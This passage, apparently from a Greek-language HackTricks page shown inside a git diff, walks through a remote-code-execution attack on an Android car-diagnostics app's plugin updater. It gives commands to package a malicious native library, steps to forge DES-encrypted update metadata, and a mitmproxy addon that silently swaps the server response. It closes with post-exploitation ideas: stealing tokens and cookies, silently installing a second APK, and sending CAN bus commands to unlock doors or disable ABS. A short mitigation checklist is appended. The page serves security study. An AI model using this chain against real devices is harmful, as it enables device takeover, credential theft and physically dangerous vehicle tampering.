$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
 | 
			
		||||
```
 | 
			
		||||
2. Ενημερώστε τα μεταδεδομένα JSON ώστε το `"FileName" : "PWNED.zip"` και το `"DownloadURL"` να δείχνουν στον HTTP server σας.  
 | 
			
		||||
3. Κρυπτογραφήστε με DES + κωδικοποιήστε σε Base64 το τροποποιημένο JSON και αντιγράψτε το πίσω μέσα στο παρεμβληθέν XML.
 | 
			
		||||
 | 
			
		||||
## 4. Παράδοση του Payload με mitmproxy
 | 
			
		||||
 | 
			
		||||
`addon.py` παράδειγμα που *σιωπηλά* αλλάζει τα αρχικά μεταδεδομένα:
 | 
			
		||||
```python
 | 
			
		||||
from mitmproxy import http
 | 
			
		||||
MOD_XML = open("fake_metadata.xml", "rb").read()
 | 
			
		||||
 | 
			
		||||
def request(flow: http.HTTPFlow):
 | 
			
		||||
if b"/UpgradeService.asmx/GetUpdateListEx" in flow.request.path:
 | 
			
		||||
flow.response = http.Response.make(
 | 
			
		||||
200,
 | 
			
		||||
MOD_XML,
 | 
			
		||||
{"Content-Type": "text/xml"}
 | 
			
		||||
)
 | 
			
		||||
```
 | 
			
		||||
Τρέξτε έναν απλό web server για να φιλοξενήσετε το κακόβουλο ZIP:
 | 
			
		||||
```bash
 | 
			
		||||
python3 -m http.server 8000 --directory ./payloads
 | 
			
		||||
```
 | 
			
		||||
Όταν το θύμα εκκινεί την εφαρμογή, θα:
 | 
			
		||||
* ανακτήσει το παραποιημένο XML μέσω του καναλιού MITM;
 | 
			
		||||
* αποκρυπτογραφήσει και αναλύσει με το σκληρά κωδικοποιημένο κλειδί DES;
 | 
			
		||||
* κατεβάσει το `PWNED.zip` → αποσυμπιέσει μέσα στην ιδιωτική αποθήκευση;
 | 
			
		||||
* `dlopen()` το συμπεριλαμβανόμενο *libscan_x64.so*, εκτελώντας αμέσως τον κώδικά μας **με τις άδειες της εφαρμογής** (κάμερα, GPS, Bluetooth, σύστημα αρχείων, …).
 | 
			
		||||
 | 
			
		||||
Επειδή το plugin είναι αποθηκευμένο στη μνήμη, η πίσω πόρτα **επιμένει σε επανεκκινήσεις** και εκτελείται κάθε φορά που ο χρήστης επιλέγει τη σχετική δυνατότητα.
 | 
			
		||||
 | 
			
		||||
## 5. Ιδέες Μετά την Εκμετάλλευση
 | 
			
		||||
 | 
			
		||||
* Κλέψτε τα session cookies, τα OAuth tokens ή τα JWTs που αποθηκεύει η εφαρμογή.
 | 
			
		||||
* Ρίξτε ένα APK δεύτερης φάσης και εγκαταστήστε το σιωπηλά μέσω του `pm install` (η εφαρμογή έχει ήδη `REQUEST_INSTALL_PACKAGES`).
 | 
			
		||||
* Κακοποιήστε οποιοδήποτε συνδεδεμένο υλικό – στο σενάριο AnyScan μπορείτε να στείλετε αυθαίρετες **εντολές OBD-II / CAN bus** (ξεκλείδωμα θυρών, απενεργοποίηση ABS, κ.λπ.).
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
### Λίστα Ελέγχου Ανίχνευσης & Μετριασμού (μπλε ομάδα)
 | 
			
		||||
 | 
			
		||||
* ΠΟΤΕ μην αποστέλλετε μια παραγωγική έκδοση με έναν προσαρμοσμένο TrustManager/HostnameVerifier που απενεργοποιεί την επικύρωση πιστοποιητικών.
 | 
			
		||||
* Μην κατεβάζετε εκτελέσιμο κώδικα από το εξωτερικό του Google Play. Αν *πρέπει*, υπογράψτε κάθε plugin με το ίδιο **apkSigning v2** κλειδί και επαληθεύστε την υπογραφή πριν τη φόρτωση.
 | 
			
		||||
* Αντικαταστήστε την αδύναμη/σκληρά κωδικοποιημένη κρυπτογράφηση με **AES-GCM** και ένα περιστρεφόμενο κλειδί από την πλευρά του διακομιστή.
 | 
			
		||||
* Επαληθεύστε την ακεραιότητα των κατεβασμένων αρχείων (υπογραφή ή τουλάχιστον SHA-256).
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
## Αναφορές
 | 
			
		||||
 | 
			
		||||
- [NowSecure – Remote Code Execution Discovered in Xtool AnyScan App](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/)
 | 
			
		||||
- [Android – Unsafe TrustManager patterns](https://developer.android.com/privacy-and-security/risks/unsafe-trustmanager)
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user